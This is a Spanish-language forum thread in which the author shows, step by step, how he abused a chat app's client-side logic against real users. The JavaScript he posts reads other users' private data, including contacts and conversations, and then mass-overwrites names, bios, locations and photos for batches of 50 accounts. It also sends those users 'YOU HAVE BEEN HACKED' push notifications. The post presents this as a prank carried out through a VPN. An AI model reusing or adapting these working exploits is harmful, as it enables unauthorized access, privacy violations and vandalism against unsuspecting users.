No le des poder al cliente (FINAL)

Iniciado por NERV0, Septiembre 25, 2018, 03:45:03 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 25, 2018, 03:45:03 PM Ultima modificación: Septiembre 25, 2018, 04:04:11 PM por NERV0
Porque solo con cambiar un par de cositas no es suficiente...



Si este es el primer post que lees de "No le des poder al cliente" te invito a ver la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!




Antes de empezar, quiero detallar unas cosas:

1 - ¿Porqué hice lo que hice?:

  • Desde que hice la parte 2, dejé de hablar con el administrador porque según el "iba a hacer mejoras de seguridad en este corto plazo"... Al final, después de muchas actualizaciones y mejoras en el sistema de anuncios, micro transacciones y cosméticos (Si, estuvo aproximadamente 5 - 6 meses mejorando para tener mas ingreso de dinero) me di cuenta que no le interesaba la seguridad. Incluso cambió los términos y condiciones de la misma para lavarse las manos en caso de que pase algo. Así que me puse a consultar con la almohada que es lo que iba a hacer... ¿Seguir con los posts o directamente cortar en la parte anterior todo?...
    Al final me decidí por terminar lo que fuí a hacer, y que esta persona se haga cargo, porque lo único que no podés extraer de los usuarios es la clave, lo demás es todo editable desde el cliente.


2 - ¿Porqué no muestro nada que pueda llevar a que descubran el nombre de la aplicación?:

  • Primero que a pesar de que su aplicación sea un desastre, no puedo dejar que reine la anarquía. Parece ser que soy el único que descubrió todo esto y quiero ser el último, porque en el tiempo que estuve practicando y testeando, encontré desde números de celular, conversaciones de todo tipo, historias, amistades y hasta problemas.

  • LA PRIVACIDAD ES LA PRIVACIDAD, SEÑORAS Y SEÑORES.

  • Segundo, soy usuario de la aplicación y lo que menos quiero es que me encuentren ustedes. (Hasta la fecha, porque cuando publique este post con todo lo que van a ver acá, menos me van a encontrar).

3 - Si lo que voy a hacer ahora es ilegal, ¿No debería no hacerlo?:

  • El administrador deja pasar la pornografía de todo tipo, conversaciones en donde se establecen acciones ilegales en el mundo físico y demás cosas que O CASUALIDAD, no cumplen con las normas que el mismo escribió. Pero tampoco hace su trabajo para borrar esta gente. Así que, ¿quien rompe la ley?.

4 - ¿Y si te descubren?:

  • Cuando las mujeres y hombres de la aplicación dejen de recibir fotos de miembros viriles en sus bandejas de entrada, dejen de pasar pornografía, y no haya mas conversaciones para acordar actividades ilegales, ahí veremos que pasa.

5 - ¿Los diagramas no están utilizados correctamente?:

  • Con gusto desearía que me enseñen a hacer diagramas!




Ya aclarados ciertos tópicos, podemos seguir... En los posts anteriores, nos abusamos del código para obtener desde puntos, superar los baneos e incluso ver los mensajes de los otros usuarios. En este, vamos a divertirnos, que para eso estamos! Pongansé comodos, y espero que disfruten. Les dejo un tema para ambientar:






I - ¿Hasta donde nos da la imaginación?:



Si pudimos ver los mensajes de otros usuarios y escribir por ellos, ¿porqué no dejamos volar la imaginación?:


  • ¿Modificar datos de otras cuentas?
  • ¿Enviar notificaciones personalizadas?
  • ¿Spam?
  • ¿Borrar de la faz de la tierra a usuarios?
  • ¿Robarnos toda la base de datos? (¿Porqué no?)
  • ¿Comprar objetos para otros usuarios?

Si pensamos bien, lo mas probable es que podamos todo o casi todo lo mencionado previamente, ya que casi todo el trabajo que debe hacer el servidor, corre en el cliente. Por ejemplo, esto es lo que pasa con las monedas:



Y esto es lo que pasa cuando uso un item que no necesita hacerle pedidos al servidor (En casi todos los casos):




Si, así de tonto... Este es un ejemplo de código en donde si necesitamos pedirle algo:

Código: javascript

e.prototype.searchUser = function() {
var e = this;
[...]('Please enter a username', "whiteError", 2e3) : (this.countryIso = this.countryProvider.getIsoFromCountry(this.pickedCountry), this.loader.show(""), this.mongoService.searchUserParrot(this.userinfo.myInfo.uid, this.countryIso, this.username).then(function(t) { //Ejecuto this.mongoService.searchUserParrot y después
     if (e.loader.hide(), void 0 != t.error){
          [...]
          e.foundParrotUser = t
          e.removeParrot(), e.displayToast([...]) //Remuevo el item del inventario
          [...]
     }

(Aclaro que el [...] es un fragmento faltante de la función, que para hacer entendible la explicación, lo eliminé)


Como pueden ver, ejecuta directamente la función "searchUserParrot()", que dice:
Código: javascript

a.prototype.searchUserParrot = function(a, e, n) {
     var o = this;
     return new Promise(function(t, i) {
          o.http.get(o.apiUrl + "users/findParrotByName/" + a + "/" + e + "/" + n).subscribe(function(a) { //Hago un pedido al server con mis requisitos
               t(a)
          }, function(a) {
               i(a)
          })
     })
}

Esta función lo que hace, es hacer un pedido al server y preguntarle si existe un usuario con los requisitos que nosotros llenamos... Si existe, nos retorna los datos del mísmo. Y sinó, bueno, nos dice que no.

Dato curioso: Las funciones que voy a utilizar en este post, funcionan al revés del diagrama! En este caso buscamos un usuario... ¿Y si no lo encontramos? ¿Que pasa con nuestro item? Nos lo devuelve si hay un error. Sinó, nos lo quita. Que generoso!


Entonces, vistos estos ejemplos, volvemos a nuestras preguntas.




II - ¿Será posible cumplir todo eso que nos planteamos?:
Primero lo primero, hay que analizar lo que nos falta:





Los Uid:


¿De donde salen y como funcionan?:

1 - Sabemos que los Uid son los identificadores de usuario. Y que en la aplicación se usan como firma para no confundir entre varios usuarios con el mismo nombre. Por ejemplo:
Alan de Argentina y Alan de Estados Unidos. Tienen el mísmo nombre de usuario, pero sus Uid son diferentes, por lo cual, no va a haber colisión de datos y pueden existir sin ningún problema.

2 - Los Uid siempre aparecen en el código como this.userinfo.myinfo.uid, this.userinfo.myUid o this.myUid.

3 - Cada vez que necesito hacer una transacción entre el servidor y el cliente, tengo que usar mi Uid para demostrar que "soy yo" y los cambios se apliquen en mi usuario.





Los userinfo y los userinfo.myinfo:

¿Que son?:
Facil y sencillo, que nos lo diga la consola:
Código: javascript
console.log("this.userinfo");






Es un arreglo con todos los datos de mi usuario... Nice!


¿A ver que contiene?:

1 - adsInfo: Booleanos que contienen información sobre si vimos los anuncios de la aplicación y demás relativos al tema.


2 - deviceInfo: Información sobre el dispositivo que está corriendo la app. En mi caso no hay información porque lo corro desde el navegador.


3 - infoNode: Estadísticas de mi perfil y anuncios. Junto con por alguna razón si mi camara está prendida o no.


4 - myInfo: Toda la información de mi cuenta y configuración, desde mi IP, ubicación y hasta el correo con el que me registré. (Pero no figura la clave, un punto para el admin que por lo menos no las muestra). También vuelve a tomar la información del último dispositivo que use (En mi caso un emulador). También figura por ahí abajo nuestro Uid.


5 - myWatchers: Estados de conexión y ultima vez.


6 - productInApp: Productos que "compré" en la aplicación. En este caso, como no compré ninguno, figuran los precios.


7 - Otros: Si la aplicación tiene algún error, está ¿crackeada? (No entiendo a que se refiere), si es de noche y si estoy en linea (Otra vez).






Las notificaciones:

¿Como funcionan?

Utilizando nuestras amadas "herramientas para desarrolladores", nos vamos hacia la sección de network y nos enviamos una notificación desde otra cuenta. Esto fué lo que pasó:



Nada... Así que va a haber que recurrir al plan B. Buscar en el inmenso código la sección de notificaciones. Y después de unas horas, encontré la función:

Código: javascript

n.prototype.notifReceiver = function(n) {
     n.isPush && void 0 != n.onesignalId && this.onesignalprovider.sendNotif(n.onesignalId, "Has recibido una solicitud de amistad", "Has recibido una solicitud de amistad")
}


En donde utiliza la función "sendNotif()", que es:

Código: javascript

a.prototype.sendNotif = function(a, e, n) {
     this.http.post("https://onesignal.com/api/v1/notifications", {
          app_id: "XXXXXXX-XXXX-XXXX-XXXX-XXXXXXX",
          include_player_ids: [a],
          contents: {
               en: e,
               fr: n
          },
          ios_badgeType: "Increase",
          ios_badgeCount: 1
     }).subscribe(function(a) {}, function(a) {})
}


Y que usa onesignal. Genial! Como ven en una parte dice "include_player_ids: [a]", lo que vendría a ser el ID de onesignal que nos habla previamente como "n.onesignalId".
Perfecto, osea que, cuando es necesario advertirle algo al cliente, mediante onesignal se nos pushea el evento. Y, si miramos con atención el código, podemos cambiar intencionalmente nuestro onesignalId para pushearle la notificación a otro usuario con un mensaje customizado!


Dato curioso: En todas las aplicaciones que se use onesignal y se pueda acceder a los id de otros usuarios, puede pasar lo que va a pasar en este post.

El problema que viene ahora es... ¿Como consigo el "onesignalId"?

En este caso no llegué por código, llegué por deducción. Si volvemos al "userinfo.myInfo" vamos a encontrar el id. A lo que me dije... Si obtengo la información de otros usuarios viendo sus perfiles, es probable que también esté su onesignalId ahí! ¿Por que? Porque si el cliente maneja todos los eventos practicamente, y el servidor sirve unicamente para guardar un par de datos nuestros, seeeeeeeguro que cuando mandemos el mensaje, nuestro cliente va a pushearlo! Así que manos a la obra...

Lo primero que me vino a la mente, fue lo que hicimos en el post anterior para obtener el Uid de mis cuentas de testeo... Pero el metodo no era tan preciso, así que se me vino una idea a la cabeza. ¿Y si modificamos la función que cuando abrimos el perfil del otro usuario, y llama al server para mostrarnos toda la información?. Dicho y hecho, utilizando la herramienta "Performance" sacamos un snapshot durante la llamada de la función, y tarán!



Ahí estaba... Y su código es:

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
}


Entonces... Termina siendo como lo pensamos, nos manda todos sus datos. ¿Y si lo editamos un poquito?

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          console.log(t); //Mostramos a t en la consola...
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
}


Boom, tenemos lo que buscabamos... Y mucho mas:



Tenemos todo el "myinfo" a nuestra disposición, y encima el onesignalId. Hermoso, maravilloso... Es el paraíso! Pero, ¿y si vamos mas allá?:

Código: javascript

e.prototype.getProfileUser = function(e) {
     var n = this;
     J.database().ref("users/" + e + "/info").once("value", function(e) { //Pregunta en la base de datos la información del usuario
          var t = e.val(); //Guarda la información en la variable t
          console.log(t); //Mostramos a t en la consola...
          null == t ? n.profileUser = {} : (t.countryIso = t.countryIso.toUpperCase(), n.profileUser = t, n.profileUser.isPrivate && (n.isPrivate = !0), n.hasTelescope(),
          n.getGifts(), n.getUserImg(), n.getLocalTime(), void 0 != n.chatInfo && n.checkFriendInfo(), n.getLanguagesFlag(), n.isLoadedProfile = !0) //Junta los datos necesarios y muestra
     })
     J.database().ref("users/" + e + "/").once("value", function(j) { //Accedemos a la informacion raiz del usuario
          var q = j.val();
          console.log(q); // Y la mostramos en consola...
     })
}




Tenemos toda la información que el server nos deja ver... Contactos, conversaciones, la información y los estados de conexión. ¿Que mas se puede pedir?




Editores de información:

En el código de uno de los tantos .js que hay, encontré estas lineas:

Código: javascript

e.prototype.checkTimezoneOffset = function() {
     var e = 60 * (new Date).getTimezoneOffset();
     if (e != this.userinfo.myInfo.timezone_offset) {
          Ae.database().ref("/users/" + this.myUid + "/info").update({
               timezone_offset: e
          })
}


Esto significa que actualiza directamente sobre la base de datos... Nice! Ahora, si volvemos a "this.userinfo.myinfo" van a poder ver que en una parte dice "name". Y que si buscan mas abajo también dice "timezone_offset". Esto significa que si modificamos esa función, podemos hacer que modifique todos los datos de nuestro usuario directamente sin usar códigos intermediarios... ¿Hermoso no?

Código: javascript

Ae.database().ref("/users/" + this.myUid + "/info").update({
     name: "(っ◔◡◔)っ ♥ HACKED ♥", //Y obviamente, un poco burlón el nombre... Nada de XXXhackedXXX, con corazoncitos duele mas.
     bio: "I have been hacked :)", //Siempre en inglés... No todos hablan español
     isPush: true, //Para que le llegue la notificación nuestra (Por si las tiene desactivada)
     isVibration: true //¿Porque no? jaja
})


Ahora si... Quedó perfecto.

También forma parte de estos datos, la foto de perfil... Pero esta vez tuvimos que si o si recurrir a las herramientas para desarrolladores, y buscar que js y función se encuentra involucrada. Pero no tuve exito, porque como corro desde el navegador, obviamente no abre la cámara, por eeeeeende, uno de los scripts me detiene ahí. No queda otra que buscar archivo por archivo...

Por suerte, encontré la función en uno de los primeros... Y esto decía:


Código: javascript


e.prototype.addPhotoToProfile = function(e) {
     this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
          photo: e
     })
     this.myRef.update({
          photo: e
     });
     this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
          profile: e
     });
     this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
          small: e
     }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})
}


Va como piña! Podemos poner la foto que queremos en una variable... Osea que si editamos el código, quedaría algo como:



Código: javascript

     var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
     this.db.database().ref("/users/" + this.userinfo.myInfo.uid + "/info").update({
          photo: j
     })
     this.myRef.update({
          photo: j
     });
     this.db.object("photo/users/" + this.userinfo.myInfo.uid).update({
          profile: j
     });
     this.db.object("users/" + this.userinfo.myInfo.uid + "/photo").update({
          small: j
     }), this.mongoService.updatePhoto(this.userinfo.myInfo.uid, e).then(function(e) {})





¿Como podemos encontrar múltiples objetivos para nuestra "magia"?

Uno de los items de la aplicación te permite mandar 50 veces un mismo mensaje para múltiples usuarios. Pero para poder mandar este mensaje, primero tiene que pedir los uid de esos 50. Así que, investigando un poco, encontré que al usar ese item, llamamos a la siguiente función:

Código: javascript

n.prototype.sendMultiple = function() {
[...]
this.mongoService.searchForKrakenNew({
     myUid: this.userinfo.myInfo.uid,
     target: this.userinfo.myInfo.target,
     myGender: this.userinfo.myInfo.gender,
     minAge: this.userinfo.myInfo.range_min,
     maxAge: this.userinfo.myInfo.range_max,
     myAge: this.userinfo.myInfo.age,
     myCountryIso: this.userinfo.myInfo.countryIso,
     myCountry: this.userinfo.myInfo.country,
     reputation: this.userinfo.myInfo.reputation,
     category: this.userinfo.myInfo.category,
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList
     }).then(function(e) {
          n.octopusResult = e, n.events.publish("userFound", !0);
          for (var l = 0; l < e.length; l++) void 0 != e[l].uid && n.sendToUser(e[l]);
     });
[...]
}


Como pueden ver, en el final nos dice "e[l].uid", pero nosotros queremos el onesingalId ! ¿Que hago?... Esto es el interior de uno de los e[l] que nos trae la función:



Así que, si no estamos equivocados, deberíamos poder usar "e[l].onesignalId" y listo! ¿Probamos?



Así que la idea es que cubra todas las edades, todos los generos, y todas las reputaciones... Nos ponemos manos a la obra y que san Math.round() y Math.random() nos ayuden con nuestra locura:

Código: javascript


function aleatorio() {
     return Math.round(Math.random()*(90-18)+parseInt(18));
}

function Reputacion() {
     return Math.round(Math.random()*(9000-20)+parseInt(20));
}

function Edad(){
     return Math.round(Math.random()*(60-18)+parseInt(18));
}


function Obtener_Genero_Target_Tambien_Mi_Genero(){
     if (aleatorio() > 45){
          //Si es mayor a 45, el genero va a ser masculino
          return "male";
     } else if(aleatorio() == 45) {
          //Si el genero es 45, es para ambos sexos
          return "both";
     } else {
          //Si es menor a 45, el genero va a ser femenino
          return "female";
     }
}

function Categoria(){
     if (aleatorio() > 45){
          //Si es mayor a 45, el genero va a ser XXXXX-1
          return "XXXXX-1";
     } else if(aleatorio() == 45) {
          //Si es 45 XXXXX-2
          return "XXXXX-2";
     } else {
          //Y si es menor a 45, XXXXX-3
          return "XXXXX-3";
     }
}

var n = this;

this.mongoService.searchForKrakenNew({
     myUid: "this.is.a.fake.uid",
     target: Obtener_Genero_Target_Tambien_Mi_Genero(),
     myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
     minAge: Edad(),
     maxAge: Edad(),
     myAge: Edad(),
     myCountryIso: "KL",
     myCountry: "Kawaii Land", // ¿Quien puede sospechar de un otaku?
     reputation: Reputacion(),
     category: Categoria(),
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList //Lo dejo en blanco porque obviamente, no tengo amigos
     }).then(function(e) {
          console.log(e);
          for (var l = 0; l < e.length; l++) void 0 != e[l].onesignalId
});



Y lo que nos mostraría en pantalla, sería esto:



Ahora mi duda es: ¿Puedo pedir mas usuarios que solo 50? Reastreando a la función "searchForKrakenNew()" nos encontramos que nos dice:

Código: javascript


a.prototype.searchForKrakenNew = function(a) {
     var e = this,
     n = new o.g;
     return n.append("Content-Type", "application/json"), new Promise(function(o) {
          e.http.post(e.apiUrl + "users/searchKrakenNew/", a, {
               headers: n
          }).toPromise().then(function(a) {
               o(a)
          }).catch(function(a) {})
     })
}



Y no... No nos podemos pasar... Directamente le hace pedido a una URL con nuestros datos y nos devuelve 50... Es bastante igual!




III - Vamos a aplicar todo lo aprendido:
Este es el momento de la verdad... Ahora, hay que unir todo lo que vimos, y hacer lo que estábamos buscando hace bastante tiempo.

Ahora, antes de seguir, quiero comentar mi problema:
Como la app está hecha con Ionic, es un desastre poder hacer loops o ejecutar los códigos con tocar un botón. (No, no es que sea totalmente vago, es que intenté y no pude, es una maraña de funciones y no, no tengo tiempo para ponerme a buscar una solución difícil para algo simple). Así que se me ocurrió buscar una función que se ejecute clickeando algún componente, y pongo un autoclicker a correr...

Buscando la función dentro de los primeros archivos .js, encontré una que se llama "CreateMsg()", y que cada vez que tocamos el botón de crear mensaje, va ahora a ejecutar nuestro código en su lugar... Así que esto sería como queda todo armado:

Código: javascript

e.prototype.CreateMsg = function(e, n) {
function aleatorio() {
     return Math.round(Math.random()*(90-18)+parseInt(18));
}

function Reputacion() {
     return Math.round(Math.random()*(9000-20)+parseInt(20));
}

function Edad(){
     return Math.round(Math.random()*(60-18)+parseInt(18));
}


function Obtener_Genero_Target_Tambien_Mi_Genero(){
     if (aleatorio() > 45){
          return "male";
     } else if(aleatorio() == 45) {
          return "both";
     } else {
          return "female";
     }
}

function Categoria(){
     if (aleatorio() > 45){
          return "XXXXX-1";
     } else if(aleatorio() == 45) {
          return "XXXXX-2";
     } else {
          return "XXXXX-3";
     }
}

var n = this;

this.mongoService.searchForKrakenNew({
     myUid: "this.is.a.fake.uid",
     target: Obtener_Genero_Target_Tambien_Mi_Genero(),
     myGender: Obtener_Genero_Target_Tambien_Mi_Genero(),
     minAge: Edad(),
     maxAge: Edad(),
     myAge: Edad(),
     myCountryIso: "KL",
     myCountry: "Kawaii Land",
     reputation: Reputacion(),
     category: Categoria(),
     excludeCountry: this.userinfo.myInfo.excludeCountry,
     friendsList: this.friendsList
     
}).then(function(e) {
     console.log(e);
     for (var l = 0; l < e.length; l++){
          Ae.database().ref("/users/" + e[l].uid + "/info").update({
               name: "(っ◔◡◔)っ ♥ HACKED ♥",
               bio: "I have been hacked :)",
               reputation: 666,
               pos_lat: "Fuck",
               pos_lng: "you",
               isPush: true,
               isVibration: true
          })

          var j = "https://media.giphy.com/media/o0vwzuFwCGAFO/giphy-downsized.gif";
          Ae.database().ref("/users/" + e[l].uid + "/info").update({
               photo: j
          })
          this.db.object("photo/users/" + e[l].uid).update({
               profile: j
          });
          this.db.object("users/" + e[l].uid + "/photo").update({
               small: j
          }), this.mongoService.updatePhoto(e[l].uid, j).then(function(e) {})

          this.onesignalprovider.sendNotif(e[l].onesignalId, "YOU HAVE BEEN HACKED, have a nice day 🔥", "YOU HAVE BEEN HACKED, have a nice day 🔥");
}               
});
}


Y... Nos bajamos un autoclicker: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (El mejor de todos)
También nos enmascaramos con un VPN: (No pienso decir cual)




IV - Resultados:











La idea no era dañar a nadie... Simplemente divertirnos un ratito jugandolé una broma pesada al admin y a los usuarios. Pero si hubieramos querido, o si hubiera sido otra persona la que estaría en mi lugar, tranquilamente le podría haber hecho desaparecer la base de datos hace rato...


Espero que se hayan arrancado los pelos viendo esto! Saludos,NERV0


"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"

HOLA!!!

Aparte de decirte buen trabajo quiero aclarar que es muy facil saber de que app estas hablando, no la conocia y viendo los posts fue cuestion de minutos!

Saludos

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias Numeritos! Si, es re obvio... Pero si no doy el nombre, está todo bien ¿no? jajaja! Saludos y gracias por leer los posts!
"Ciertos programas informáticos son el reflejo del ego académico del pelotudo que los desarrolla"

Es muy interesante lo que se puede llegar a hacer solo con ser curioso... ni siquiera necesitaste de herramientas complejas ni nada, todo solo con buscar y editar.

Esto ha generado en mi, una gran duda sobre el cómo se debería realizar un front-end seguro. Veo que en la aplicación estan utilizando un framework y eso, pero para mí sería más provechoso que realices un post sobre qué NO hacer o compartir dentro de un front-end

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es muy interesante lo que se puede llegar a hacer solo con ser curioso... ni siquiera necesitaste de herramientas complejas ni nada, todo solo con buscar y editar.

Esto ha generado en mi, una gran duda sobre el cómo se debería realizar un front-end seguro. Veo que en la aplicación estan utilizando un framework y eso, pero para mí sería más provechoso que realices un post sobre qué NO hacer o compartir dentro de un front-end

Yo recuerdo algo del primer post... y realmente la app es un desastre. Existen buenas practicas para desarrollo back y front, pero este es un caso exagerado de malas practicas... (no están simplemente olvidandose de sanitizar entradas, validar datos, peticiones) ellos básicamente están haciendo cosas que por lógica tienen que ir en el back, las están ejecutando por js en el navegador...  un desastre con todas las letras  ;D no creo que le quede mucho tiempo de vida al juego.

PD: Buen post e investigación al autor!  8)
No podemos resolver problemas pensando de la misma manera que cuando los creamos.